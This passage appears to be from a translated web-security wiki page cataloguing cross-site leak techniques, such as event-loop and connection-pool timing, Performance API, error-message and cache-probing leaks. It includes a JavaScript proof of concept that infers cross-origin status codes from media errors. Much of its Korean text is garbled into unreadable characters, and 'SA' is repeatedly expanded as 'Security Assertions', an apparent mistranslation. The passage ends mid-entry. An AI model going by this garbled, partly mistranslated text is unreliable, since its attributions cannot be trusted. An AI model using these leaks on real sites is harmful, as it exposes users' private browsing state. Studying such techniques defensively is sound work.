- ์ฝ๋ ์์: https://xsinator.com/testing.html#Payment%20API%20Leak
This XS-Leak enables an attacker to detect when a cross-origin page initiates a payment request.
Because only one request payment can be active at the same time, if the target website is using the Payment Request API, any further attempts to show use this API will fail, and cause a JavaScript exception. The attacker can exploit this by periodically attempting to show the Payment API UI. If one attempt causes an exception, the target website is currently using it. The attacker can hide these periodical attempts by immediately closing the UI after creation.
Timing the Event Loop
- ํฌํจ ๋ฐฉ๋ฒ:
- ์๋ณ ๊ฐ๋ฅํ ์ฐจ์ด: Timing (generally due to Page Content, Status Code)
- ๋ ๋ง์ ์ ๋ณด: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop
- ์์ฝ: ๋จ์ผ ์ค๋ ๋ JS event loop๋ฅผ ์ ์ฉํด ์ฝ๋์ ์คํ ์๊ฐ์ ์ธก์ ํ๋ค.
- ์ฝ๋ ์์:
Event Loop Blocking + Lazy images
JavaScript operates on a single-threaded event loop concurrency model, signifying that it can only execute one task at a time. This characteristic can be exploited to gauge how long code from a different origin takes to execute. An attacker can measure the execution time of their own code in the event loop by continuously dispatching events with fixed properties. These events will be processed when the event pool is empty. If other origins are also dispatching events to the same pool, an attacker can infer the time it takes for these external events to execute by observing delays in the execution of their own tasks. This method of monitoring the event loop for delays can reveal the execution time of code from different origins, potentially exposing sensitive information.
Warning
In an execution timing itโs possible to eliminate network factors to obtain more precise measurements. For example, by loading the resources used by the page before loading it.
Busy Event Loop
- ํฌํจ ๋ฐฉ๋ฒ:
- ์๋ณ ๊ฐ๋ฅํ ์ฐจ์ด: Timing (generally due to Page Content, Status Code)
- ๋ ๋ง์ ์ ๋ณด: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
- ์์ฝ: ์น ์์ ์ ์คํ ์๊ฐ์ ์ธก์ ํ๋ ํ ๋ฐฉ๋ฒ์ ์ค๋ ๋์ event loop๋ฅผ ์๋์ ์ผ๋ก ๋ธ๋กํนํ ๋ค์ event loop๊ฐ ๋ค์ ์ฌ์ฉ ๊ฐ๋ฅํด์ง๋ ๋ฐ ๊ฑธ๋ฆฌ๋ ์๊ฐ์ ์ธก์ ํ๋ ๊ฒ์ด๋ค. ๊ธด ๊ณ์ฐ์ด๋ ๋๊ธฐ API ํธ์ถ ๊ฐ์ ๋ธ๋กํน ์์ ์ event loop์ ์ฝ์ ํ๊ณ ์ดํ ์ฝ๋๊ฐ ์คํ๋๊ธฐ ์์ํ๋ ๋ฐ ๊ฑธ๋ฆฌ๋ ์๊ฐ์ ๋ชจ๋ํฐ๋งํจ์ผ๋ก์จ, ๋ธ๋กํน ๊ธฐ๊ฐ ๋์ event loop์์ ์คํ๋๋ ์์ ๋ค์ ๊ธฐ๊ฐ์ ์ถ๋ก ํ ์ ์๋ค. ์ด ๊ธฐ๋ฒ์ JavaScript์ ๋จ์ผ ์ค๋ ๋ ํน์ฑ์ ํ์ฉํ์ฌ ๊ฐ์ ์ค๋ ๋๋ฅผ ๊ณต์ ํ๋ ๋ค๋ฅธ ์์ ๋ค์ ๋์์ด๋ ์ฑ๋ฅ์ ๋ํ ํต์ฐฐ์ ์ ๊ณตํ ์ ์๋ค.
- ์ฝ๋ ์์:
A significant advantage of the technique of measuring execution time by locking the event loop is its potential to circumvent Site Isolation. Site Isolation is a security feature that separates different websites into separate processes, aiming to prevent malicious sites from directly accessing sensitive data from other sites. However, by influencing the execution timing of another origin through the shared event loop, an attacker can indirectly extract information about that originโs activities. This method does not rely on direct access to the other originโs data but rather observes the impact of that originโs activities on the shared event loop, thus evading the protective barriers established by Site Isolation.
Warning
In an execution timing itโs possible to eliminate network factors to obtain more precise measurements. For example, by loading the resources used by the page before loading it.
Connection Pool
- ํฌํจ ๋ฐฉ๋ฒ: JavaScript Requests
- ์๋ณ ๊ฐ๋ฅํ ์ฐจ์ด: Timing (generally due to Page Content, Status Code)
- ๋ ๋ง์ ์ ๋ณด: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
- ์์ฝ: ๊ณต๊ฒฉ์๋ ๋ชจ๋ ์์ผ์ 1๊ฐ๋ง ๋จ๊ฒจ๋๊ณ ์ ๊ทธ๊ณ , ๋์ ํ์ด์ง๋ฅผ ๋ก๋ํ๋ฉด์ ๋์์ ๋ค๋ฅธ ํ์ด์ง๋ฅผ ๋ก๋ํ๋ค. ๋ง์ง๋ง ํ์ด์ง๊ฐ ๋ก๋๋ฅผ ์์ํ ๋๊น์ง์ ์๊ฐ์ด ๋์ ํ์ด์ง๊ฐ ๋ก๋๋๋ ๋ฐ ๊ฑธ๋ฆฐ ์๊ฐ์ด๋ค.
- ์ฝ๋ ์์:
Browsers utilize sockets for server communication, but due to the limited resources of the operating system and hardware, browsers are compelled to impose a limit on the number of concurrent sockets. Attackers can exploit this limitation through the following steps:
- Ascertain the browserโs socket limit, for instance, 256 global sockets.
- Occupy 255 sockets for an extended duration by initiating 255 requests to various hosts, designed to keep the connections open without completing.
- Employ the 256th socket to send a request to the target page.
- Attempt a 257th request to a different host. Given that all sockets are in use (as per steps 2 and 3), this request will be queued until a socket becomes available. The delay before this request proceeds provides the attacker with timing information about the network activity related to the 256th socket (the target pageโs socket). This inference is possible because the 255 sockets from step 2 are still engaged, implying that any newly available socket must be the one released from step 3. The time taken for the 256th socket to become available is thus directly linked to the time required for the request to the target page to complete.
For more info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
Connection Pool by Destination
- ํฌํจ ๋ฐฉ๋ฒ: JavaScript Requests
- ์๋ณ ๊ฐ๋ฅํ ์ฐจ์ด: Timing (generally due to Page Content, Status Code)
- ๋ ๋ง์ ์ ๋ณด:
- ์์ฝ: ์ด์ ๊ธฐ๋ฒ๊ณผ ์ ์ฌํ์ง๋ง, Chrome์ ๋์ผํ origin์ ๋ํด 6๊ฐ์ ๋์ ์์ฒญ ์ ํ์ ๋๋ค. 5๊ฐ๋ฅผ ๋ธ๋กํ๊ณ 6๋ฒ์งธ ์์ฒญ์ ๋์ ํ์ด๋ฐ์ ์ธก์ ํ๋ฉด, victim ํ์ด์ง๊ฐ ๋์ผํ ์๋ํฌ์ธํธ๋ก ๋ ๋ง์ ์์ฒญ์ ๋ณด๋ด๊ฒ ๋ง๋ค ์ ์๋ค๋ฉด 6๋ฒ์งธ ์์ฒญ์ด ๋ ์ค๋ ๊ฑธ๋ ค ์ด๋ฅผ ๊ฐ์งํ ์ ์๋ค.
Performance API Techniques
The Performance API offers insights into the performance metrics of web applications, further enriched by the Resource Timing API. The Resource Timing API enables the monitoring of detailed network request timings, such as the duration of the requests. Notably, when servers include the Timing-Allow-Origin: * header in their responses, additional data like the transfer size and domain lookup time becomes available.
This wealth of data can be retrieved via methods like performance.getEntries or performance.getEntriesByName, providing a comprehensive view of performance-related information. Additionally, the API facilitates the measurement of execution times by calculating the difference between timestamps obtained from performance.now(). However, itโs worth noting that for certain operations in browsers like Chrome, the precision of performance.now() may be limited to milliseconds, which could affect the granularity of timing measurements.
Beyond timing measurements, the Performance API can be leveraged for security-related insights. For instance, the presence or absence of pages in the performance object in Chrome can indicate the application of X-Frame-Options. Specifically, if a page is blocked from rendering in a frame due to X-Frame-Options, it will not be recorded in the performance object, providing a subtle clue about the pageโs framing policies.
Error Leak
- ํฌํจ ๋ฐฉ๋ฒ: Frames, HTML Elements
- ์๋ณ ๊ฐ๋ฅํ ์ฐจ์ด: Status Code
- ๋ ๋ง์ ์ ๋ณด: https://xsinator.com/paper.pdf (5.2)
- ์์ฝ: ์๋ฌ๋ฅผ ์ด๋ํ ์์ฒญ์ resource timing entry๋ฅผ ์์ฑํ์ง ์๋๋ค.
- ์ฝ๋ ์์: https://xsinator.com/testing.html#Performance%20API%20Error%20Leak
It is possible to differentiate between HTTP response status codes because requests that lead to an error do not create a performance entry.
Style Reload Error
- ํฌํจ ๋ฐฉ๋ฒ: HTML Elements
- ์๋ณ ๊ฐ๋ฅํ ์ฐจ์ด: Status Code
- ๋ ๋ง์ ์ ๋ณด: https://xsinator.com/paper.pdf (5.2)
- ์์ฝ: ๋ธ๋ผ์ฐ์ ๋ฒ๊ทธ๋ก ์ธํด ์๋ฌ๊ฐ ๋ฐ์ํ ๋ฆฌ์์ค๋ ๋ ๋ฒ ๋ก๋๋๋ค.
- ์ฝ๋ ์์: https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak
In the previous technique it was also identified two cases where browser bugs in GC lead to resources being loaded twice when they fail to load. This will result in multiple entries in the Performance API and can thus be detected.
Request Merging Error
- ํฌํจ ๋ฐฉ๋ฒ: HTML Elements
- ์๋ณ ๊ฐ๋ฅํ ์ฐจ์ด: Status Code
- ๋ ๋ง์ ์ ๋ณด: https://xsinator.com/paper.pdf (5.2)
- ์์ฝ: ์๋ฌ๋ฅผ ์ผ์ผํค๋ ์์ฒญ์ ๋ณํฉ๋ ์ ์๋ค.
- ์ฝ๋ ์์: https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak
The technique was found in a table in the mentioned paper but no description of the technique was found on it. However, you can find the source code checking for it in https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak
Empty Page Leak
- ํฌํจ ๋ฐฉ๋ฒ: Frames
- ์๋ณ ๊ฐ๋ฅํ ์ฐจ์ด: Page Content
- ๋ ๋ง์ ์ ๋ณด: https://xsinator.com/paper.pdf (5.2)
- ์์ฝ: ๋น ์๋ต์ resource timing entry๋ฅผ ์์ฑํ์ง ์๋๋ค.
- ์ฝ๋ ์์: https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak
An attacker can detect if a request resulted in an empty HTTP response body because empty pages do not create a performance entry in some browsers.
XSS-Auditor Leak
- ํฌํจ ๋ฐฉ๋ฒ: Frames
- ์๋ณ ๊ฐ๋ฅํ ์ฐจ์ด: Page Content
- ๋ ๋ง์ ์ ๋ณด: https://xsinator.com/paper.pdf (5.2)
- ์์ฝ: XSS Auditor๋ฅผ Security Assertions์์ ์ด์ฉํ๋ฉด, crafted payload๊ฐ auditor์ ํํฐ๋ง ๋ฉ์ปค๋์ฆ์ ์ ๋ฐํ ๋ ์๋ต์ ๋ณํ๋ฅผ ๊ด์ฐฐํ์ฌ ํน์ ์นํ์ด์ง ์์๋ฅผ ๊ฐ์งํ ์ ์๋ค.
- ์ฝ๋ ์์: https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak
In Security Assertions (SA), the XSS Auditor, originally intended to prevent Cross-Site Scripting (XSS) attacks, can paradoxically be exploited to leak sensitive information. Although this built-in feature was removed from Google Chrome (GC), itโs still present in SA. In 2013, Braun and Heiderich demonstrated that the XSS Auditor could inadvertently block legitimate scripts, leading to false positives. Building on this, researchers developed techniques to extract information and detect specific content on cross-origin pages, a concept known as XS-Leaks, initially reported by Terada and elaborated by Heyes in a blog post. Although these techniques were specific to the XSS Auditor in GC, it was discovered that in SA, pages blocked by the XSS Auditor do not generate entries in the Performance API, revealing a method through which sensitive information might still be leaked.
X-Frame Leak
- ํฌํจ ๋ฐฉ๋ฒ: Frames
- ์๋ณ ๊ฐ๋ฅํ ์ฐจ์ด: Header
- ๋ ๋ง์ ์ ๋ณด: https://xsinator.com/paper.pdf (5.2), https://xsleaks.github.io/xsleaks/examples/x-frame/index.html, https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options
- ์์ฝ: X-Frame-Options ํค๋๊ฐ ์๋ ๋ฆฌ์์ค๋ resource timing entry๋ฅผ ์์ฑํ์ง ์๋๋ค.
- ์ฝ๋ ์์: https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak
If a page is not allowed to be rendered in an iframe it does not create a performance entry. As a result, an attacker can detect the response header X-Frame-Options.
Same happens if you use an embed tag.
Download Detection
- ํฌํจ ๋ฐฉ๋ฒ: Frames
- ์๋ณ ๊ฐ๋ฅํ ์ฐจ์ด: Header
- ๋ ๋ง์ ์ ๋ณด: https://xsinator.com/paper.pdf (5.2)
- ์์ฝ: ContentDisposition ํค๋๋ก ์ธํด ๋ฆฌ์์ค๊ฐ ๋ค์ด๋ก๋๋๋ ๊ฒฝ์ฐ์๋ Performance API์ resource timing entry๊ฐ ์์ฑ๋์ง ์๋๋ค.
- ์ฝ๋ ์์: https://xsinator.com/testing.html#Performance%20API%20Download%20Detection
Similar, to the XS-Leak described, a resource that is downloaded because of the ContentDisposition header, also does not create a performance entry. This technique works in all major browsers.
Redirect Start Leak
- ํฌํจ ๋ฐฉ๋ฒ: Frames
- ์๋ณ ๊ฐ๋ฅํ ์ฐจ์ด: Redirect
- ๋ ๋ง์ ์ ๋ณด: https://xsinator.com/paper.pdf (5.2)
- ์์ฝ: Resource timing entry๊ฐ ๋ฆฌ๋๋ ์ ์ ์์ ์๊ฐ์ ์ ์ถํ๋ค.
- ์ฝ๋ ์์: https://xsinator.com/testing.html#Redirect%20Start%20Leak
We found one XS-Leak instance that abuses the behavior of some browsers which log too much information for cross-origin requests. The standard defines a subset of attributes that should be set to zero for cross-origin resources. However, in SA it is possible to detect if the user is redirected by the target page, by querying the Performance API and checking for the redirectStart timing data.
Duration Redirect Leak
- ํฌํจ ๋ฐฉ๋ฒ: Fetch API
- ์๋ณ ๊ฐ๋ฅํ ์ฐจ์ด: Redirect
- ๋ ๋ง์ ์ ๋ณด: https://xsinator.com/paper.pdf (5.2)
- ์์ฝ: ๋ฆฌ๋๋ ์ ์ด ๋ฐ์ํ๋ฉด timing entry์ duration์ด ์์๊ฐ ๋์ด ๊ตฌ๋ถํ ์ ์๋ค.
- ์ฝ๋ ์์: https://xsinator.com/testing.html#Duration%20Redirect%20Leak
In GC, the duration for requests that result in a redirect is negative and can thus be distinguished from requests that do not result in a redirect.
CORP Leak
- ํฌํจ ๋ฐฉ๋ฒ: Frames
- ์๋ณ ๊ฐ๋ฅํ ์ฐจ์ด: Header
- ๋ ๋ง์ ์ ๋ณด: https://xsinator.com/paper.pdf (5.2)
- ์์ฝ: CORP๋ก ๋ณดํธ๋ ๋ฆฌ์์ค๋ resource timing entry๋ฅผ ์์ฑํ์ง ์๋๋ค.
- ์ฝ๋ ์์: https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak
In some cases, the nextHopProtocol entry can be used as a leak technique. In GC, when the CORP header is set, the nextHopProtocol will be empty. Note that SA will not create a performance entry at all for CORP-enabled resources.
Service Worker
- ํฌํจ ๋ฐฉ๋ฒ: Frames
- ์๋ณ ๊ฐ๋ฅํ ์ฐจ์ด: API Usage
- ๋ ๋ง์ ์ ๋ณด: https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/
- ์์ฝ: ํน์ origin์ ๋ํด service worker๊ฐ ๋ฑ๋ก๋์ด ์๋์ง ๊ฐ์งํ๋ค.
- ์ฝ๋ ์์:
Service workers are event-driven script contexts that run at an origin. They run in the background of a web page and can intercept, modify, and cache resources to create offline web application.
If a resource cached by a service worker is accessed via iframe, the resource will be loaded from the service worker cache.
To detect if the resource was loaded from the service worker cache the Performance API can be used.
This could also be done with a Timing attack (check the paper for more info).
Cache
- ํฌํจ ๋ฐฉ๋ฒ: Fetch API
- ์๋ณ ๊ฐ๋ฅํ ์ฐจ์ด: Timing
- ๋ ๋ง์ ์ ๋ณด: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources
- ์์ฝ: ๋ฆฌ์์ค๊ฐ ์บ์์ ์ ์ฅ๋์๋์ง ํ์ธํ ์ ์๋ค.
- ์ฝ๋ ์์: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources, https://xsinator.com/testing.html#Cache%20Leak%20(POST)
Using the Performance API itโs possible to check if a resource is cached.
Network Duration
- ํฌํจ ๋ฐฉ๋ฒ: Fetch API
- ์๋ณ ๊ฐ๋ฅํ ์ฐจ์ด: Page Content
- ๋ ๋ง์ ์ ๋ณด: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration
- ์์ฝ:
performanceAPI์์ ์์ฒญ์ network duration์ ๊ฐ์ ธ์ฌ ์ ์๋ค. - ์ฝ๋ ์์: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration
Error Messages Technique
Media Error
- ํฌํจ ๋ฐฉ๋ฒ: HTML Elements (Video, Audio)
- ์๋ณ ๊ฐ๋ฅํ ์ฐจ์ด: Status Code
- ๋ ๋ง์ ์ ๋ณด: https://bugs.chromium.org/p/chromium/issues/detail?id=828265
- ์์ฝ: Firefox์์๋ ํฌ๋ก์ค-์ค๋ฆฌ์ง ์์ฒญ์ status code๋ฅผ ์ ํํ๊ฒ ์ ์ถํ ์ ์๋ค.
- ์ฝ๋ ์์: https://jsbin.com/nejatopusi/1/edit?html,css,js,output
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false)
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg
}
function startup() {
let audioElement = document.getElementById("audio")
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener(
"click",
function () {
audioElement.src = document.getElementById("testUrl").value
},
false
)
// Create the event handler
var errHandler = function () {
let err = this.error
let message = err.message
let status = ""
// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if (
message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1 ||
message.indexOf("Failed to init decoder") != -1
) {
status = "Success"
} else {
status = "Error"
}
displayErrorMessage(
"<strong>Status: " +
status +
"</strong> (Error code:" +
err.code +
" / Error Message: " +
err.message +
")<br>"
)
}
audioElement.onerror = errHandler
}
MediaError ์ธํฐํ์ด์ค์ message ์์ฑ์ ์ฑ๊ณต์ ์ผ๋ก ๋ก๋๋ ๋ฆฌ์์ค๋ฅผ ๊ณ ์ ํ ๋ฌธ์์ด๋ก ์๋ณํฉ๋๋ค. ๊ณต๊ฒฉ์๋ ์ด ๋ฉ์์ง ๋ด์ฉ์ ๊ด์ฐฐํ์ฌ cross-origin ๋ฆฌ์์ค์ ์๋ต ์ํ๋ฅผ ์ ์ถํจ์ผ๋ก์จ ์ด ๊ธฐ๋ฅ์ ์
์ฉํ ์ ์์ต๋๋ค.
CORS Error
- Inclusion Methods: Fetch API
- Detectable Difference: Header
- More info: https://xsinator.com/paper.pdf (5.3)
- Summary: Security Assertions (SA)์์ CORS error ๋ฉ์์ง๋ ์๋์น ์๊ฒ ๋ฆฌ๋๋ ์ ๋ ์์ฒญ์ ์ ์ฒด URL์ ๋ ธ์ถํฉ๋๋ค.
- Code Example: https://xsinator.com/testing.html#CORS%20Error%20Leak
์ด ๊ธฐ๋ฒ์ Webkit ๊ธฐ๋ฐ ๋ธ๋ผ์ฐ์ ๊ฐ CORS ์์ฒญ์ ์ฒ๋ฆฌํ๋ ๋ฐฉ์์ ์ ์ฉํด ๊ณต๊ฒฉ์๊ฐ cross-origin ์ฌ์ดํธ์ ๋ฆฌ๋๋ ์ ๋ชฉ์ ์ง๋ฅผ ์ถ์ถํ ์ ์๊ฒ ํฉ๋๋ค. ๊ตฌ์ฒด์ ์ผ๋ก, ์ฌ์ฉ์์ ์ํ์ ๋ฐ๋ผ ๋ฆฌ๋๋ ์ ์ ์ํํ๋ ๋์ ์ฌ์ดํธ์ ๋ํด CORS-enabled ์์ฒญ์ ๋ณด๋ธ ํ ๋ธ๋ผ์ฐ์ ๊ฐ ํด๋น ์์ฒญ์ ๊ฑฐ๋ถํ๋ฉด, ๋ฆฌ๋๋ ์ ๋์์ ์ ์ฒด URL์ด ์ค๋ฅ ๋ฉ์์ง์ ๋ ธ์ถ๋ฉ๋๋ค. ์ด ์ทจ์ฝ์ ์ ๋ฆฌ๋๋ ์ ์ ์กด์ฌ๋ฅผ ๋๋ฌ๋ผ ๋ฟ๋ง ์๋๋ผ ๋ฆฌ๋๋ ์ ์ ์๋ํฌ์ธํธ์ ๊ทธ์ ํฌํจ๋ ๋ฏผ๊ฐํ ์ฟผ๋ฆฌ ๋งค๊ฐ๋ณ์๊น์ง ๋ ธ์ถํฉ๋๋ค.
SRI Error
- Inclusion Methods: Fetch API
- Detectable Difference: Header
- More info: https://xsinator.com/paper.pdf (5.3)
- Summary: Security Assertions (SA)์์ CORS error ๋ฉ์์ง๋ ์๋์น ์๊ฒ ๋ฆฌ๋๋ ์ ๋ ์์ฒญ์ ์ ์ฒด URL์ ๋ ธ์ถํฉ๋๋ค.
- Code Example: https://xsinator.com/testing.html#SRI%20Error%20Leak
๊ณต๊ฒฉ์๋ verbose error messages๋ฅผ ์ด์ฉํด cross-origin ์๋ต์ ํฌ๊ธฐ๋ฅผ ์ถ๋ก ํ ์ ์์ต๋๋ค. ์ด๋ Subresource Integrity (SRI)์ ์๋ ๋ฐฉ์ ๋๋ฌธ์ธ๋ฐ, SRI๋ integrity ์์ฑ์ ์ฌ์ฉํด CDN ๋ฑ์์ ๊ฐ์ ธ์จ ๋ฆฌ์์ค๊ฐ ๋ณ์กฐ๋์ง ์์๋์ง ๊ฒ์ฆํฉ๋๋ค. SRI๊ฐ cross-origin ๋ฆฌ์์ค์์ ์๋ํ๋ ค๋ฉด ํด๋น ๋ฆฌ์์ค๊ฐ CORS-enabled์ด์ด์ผ ํ๊ณ , ๊ทธ๋ ์ง ์์ผ๋ฉด ๋ฌด๊ฒฐ์ฑ ๊ฒ์ฌ๊ฐ ์ ์ฉ๋์ง ์์ต๋๋ค. Security Assertions (SA)์์ CORS error XS-Leak๊ณผ ์ ์ฌํ๊ฒ, integrity ์์ฑ์ด ์๋ fetch ์์ฒญ์ด ์คํจํ๋ฉด ์ค๋ฅ ๋ฉ์์ง๋ฅผ ์บก์ฒํ ์ ์์ต๋๋ค. ๊ณต๊ฒฉ์๋ ์๋์ ์ผ๋ก ์์ฒญ์ integrity ์์ฑ์ ์๋ชป๋ ํด์ ๊ฐ์ ํ ๋นํด ์ด ์ค๋ฅ๋ฅผ ์ ๋ฐํ ์ ์์ต๋๋ค. SA์์๋ ๊ฒฐ๊ณผ ์ค๋ฅ ๋ฉ์์ง๊ฐ ์์ฒญ๋ ๋ฆฌ์์ค์ ์ฝํ ์ธ ๊ธธ์ด๋ฅผ ์ฐ๋ฐ์ ์ผ๋ก ๋๋ฌ๋ ๋๋ค. ์ด ์ ๋ณด ์ ์ถ์ ์๋ต ํฌ๊ธฐ์ ์ฐจ์ด๋ฅผ ์๋ณํ๊ฒ ํด์ฃผ๋ฉฐ, ์ ๊ตํ XS-Leak ๊ณต๊ฒฉ์ผ๋ก ์ด์ด์ง ์ ์์ต๋๋ค.
CSP Violation/Detection
- Inclusion Methods: Pop-ups
- Detectable Difference: Status Code
- More info: https://bugs.chromium.org/p/chromium/issues/detail?id=313737, https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html, https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects
- Summary: ๊ณต๊ฒฉ์ ์ฌ์ดํธ์์ ๋์ ์ฌ์ดํธ๋ง CSP์ ํ์ฉํด ๋๊ณ ์ ๊ทผํ์ ๋ ๋์์ด ๋ค๋ฅธ ๋๋ฉ์ธ์ผ๋ก ๋ฆฌ๋๋ ์ ์ ์๋ํ๋ฉด CSP๊ฐ ๊ฐ์ง ๊ฐ๋ฅํ ์ค๋ฅ๋ฅผ ํธ๋ฆฌ๊ฑฐํฉ๋๋ค.
- Code Example: https://xsinator.com/testing.html#CSP%20Violation%20Leak, https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation
XS-Leak์ CSP๋ฅผ ์ด์ฉํด cross-origin ์ฌ์ดํธ๊ฐ ๋ค๋ฅธ origin์ผ๋ก ๋ฆฌ๋๋ ์ ๋์๋์ง๋ฅผ ๊ฐ์งํ ์ ์์ต๋๋ค. ์ด ๋์ถ์ ๋ฆฌ๋๋ ์ ์ ๊ฐ์งํ ๋ฟ๋ง ์๋๋ผ ๋ฆฌ๋๋ ์ ๋์์ ๋๋ฉ์ธ๋ ๋์ถํ ์ ์์ต๋๋ค. ๊ณต๊ฒฉ ์์ด๋์ด๋ ๋์ ๋๋ฉ์ธ์ ๊ณต๊ฒฉ์ ์ฌ์ดํธ์์ ํ์ฉํด ๋๋ ๊ฒ์ ๋๋ค. ๋์ ๋๋ฉ์ธ์ ์์ฒญ์ ๋ณด๋ด๋ฉด cross-origin ๋๋ฉ์ธ์ผ๋ก redirect๊ฐ ๋ฐ์ํ๊ณ , CSP๊ฐ ์ด๋ฅผ ์ฐจ๋จํ์ฌ violation report๋ฅผ ์์ฑํฉ๋๋ค. ๋ธ๋ผ์ฐ์ ์ ๋ฐ๋ผ ์ด ๋ฆฌํฌํธ๋ ๋ฆฌ๋๋ ์ ์ ๋์ ์์น๋ฅผ ์ ์ถํ ์ ์์ต๋๋ค. ์ต์ ๋ธ๋ผ์ฐ์ ๋ ๋ฆฌ๋๋ ์ ๋ URL์ ํ์ํ์ง ์์ ์ ์์ง๋ง, cross-origin ๋ฆฌ๋๋ ์ ์ด ๋ฐ์ํ์์ ์ฌ์ ํ ๊ฐ์งํ ์ ์์ต๋๋ค.
Cache
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events, https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html
- Summary: ์บ์์์ ํ์ผ์ ์ ๊ฑฐํ ๋ค ๋์ ํ์ด์ง๋ฅผ ์ด์ด ํด๋น ํ์ผ์ด ์บ์์ ์๋์ง ํ์ธํฉ๋๋ค.
- Code Example:
๋ธ๋ผ์ฐ์ ๋ ๋ชจ๋ ์น์ฌ์ดํธ์ ๋ํด ํ๋์ ๊ณต์ ์บ์๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค. ์ถ์ฒ์ ๊ด๊ณ์์ด ํน์ ํ์ผ์ ๋์ ํ์ด์ง๊ฐ ์์ฒญํ๋์ง ์ฌ๋ถ๋ฅผ ์ถ๋ก ํ ์ ์์ต๋๋ค.
์๋ฅผ ๋ค์ด ํ์ด์ง๊ฐ ์ฌ์ฉ์๊ฐ ๋ก๊ทธ์ธํ์ ๋๋ง ์ด๋ฏธ์ง๋ฅผ ๋ก๋ํ๋ค๋ฉด, ๋ฆฌ์์ค๋ฅผ ๋ฌดํจํ(์์๋ค๋ฉด ๋ ์ด์ ์บ์๋์ง ์๋๋ก)ํ ๋ค์ ๊ทธ ๋ฆฌ์์ค๋ฅผ ๋ก๋ํ ์ ์๋ ์์ฒญ์ ์ํํ๊ณ , ์๋ชป๋ ์์ฒญ(์: ๊ณผ๋ํ๊ฒ ๊ธด referer ํค๋ ๋ฑ)์ผ๋ก ๋ฆฌ์์ค๋ฅผ ๋ค์ ๋ก๋ํด ๋ด ๋๋ค. ๋ฆฌ์์ค ๋ก๋๊ฐ ์ค๋ฅ๋ฅผ ์ ๋ฐํ์ง ์์๋ค๋ฉด, ์ด๋ ๋ฆฌ์์ค๊ฐ ์บ์๋์ด ์์๊ธฐ ๋๋ฌธ์ ๋๋ค.
CSP Directive
- Inclusion Methods: Frames
- Detectable Difference: Header
- More info: https://bugs.chromium.org/p/chromium/issues/detail?id=1105875
- Summary: CSP header์ directive๋ฅผ iframe์ CSP ์์ฑ์ ํตํด ํ๋ก๋นํ์ฌ ์ ์ฑ ์ธ๋ถ์ฌํญ์ ๋๋ฌ๋ผ ์ ์์ต๋๋ค.
- Code Example: https://xsinator.com/testing.html#CSP%20Directive%20Leak
Google Chrome์ ์๋ก์ด ๊ธฐ๋ฅ ์ค ํ๋๋ iframe ์์์ ์์ฑ์ ์ค์ ํด Content Security Policy (CSP)๋ฅผ ์ ์ํ ์ ์๊ฒ ํ๋ฉฐ, ์ด ์ ์ฑ ๋๋ ํฐ๋ธ๋ HTTP ์์ฒญ๊ณผ ํจ๊ป ์ ์ก๋ฉ๋๋ค. ์ผ๋ฐ์ ์ผ๋ก ํฌํจ๋ ์ฝํ ์ธ ๋ HTTP ํค๋๋ฅผ ํตํด ์ด๋ฅผ ์น์ธํด์ผ ํ๋ฉฐ, ๊ทธ๋ ์ง ์์ผ๋ฉด error page๊ฐ ํ์๋ฉ๋๋ค. ๊ทธ๋ฌ๋ iframe์ด ์ด๋ฏธ CSP๋ก ๋ณดํธ๋๊ณ ์๊ณ ์๋ก ์ ์๋ ์ ์ฑ ์ด ๋ ์ ํ์ ์ด์ง ์๋ค๋ฉด ํ์ด์ง๋ ์ ์์ ์ผ๋ก ๋ก๋๋ฉ๋๋ค. ์ด ๋ฉ์ปค๋์ฆ์ ํตํด ๊ณต๊ฒฉ์๋ ์ค๋ฅ ํ์ด์ง๋ฅผ ์๋ณํจ์ผ๋ก์จ cross-origin ํ์ด์ง์ ํน์ CSP ๋๋ ํฐ๋ธ๋ฅผ ๊ฐ์งํ ์ ์์ต๋๋ค. ์ด ์ทจ์ฝ์ ์ ์์ ๋ ๊ฒ์ผ๋ก ํ์๋์์ง๋ง, ์ฐ๋ฆฌ์ ๋ฐ๊ฒฌ์ ์ค๋ฅ ํ์ด์ง๋ฅผ ๊ฐ์งํ ์ ์๋ ์๋ก์ด ๋์ถ ๊ธฐ๋ฒ์ ๋ณด์ฌ ์ค ๊ทผ๋ณธ์ ์ธ ๋ฌธ์ ๊ฐ ์์ ํ ํด๊ฒฐ๋์ง ์์์์ ์์ฌํฉ๋๋ค.
CORP
- Inclusion Methods: Fetch API
- Detectable Difference: Header
- More info: https://xsleaks.dev/docs/attacks/browser-features/corp/
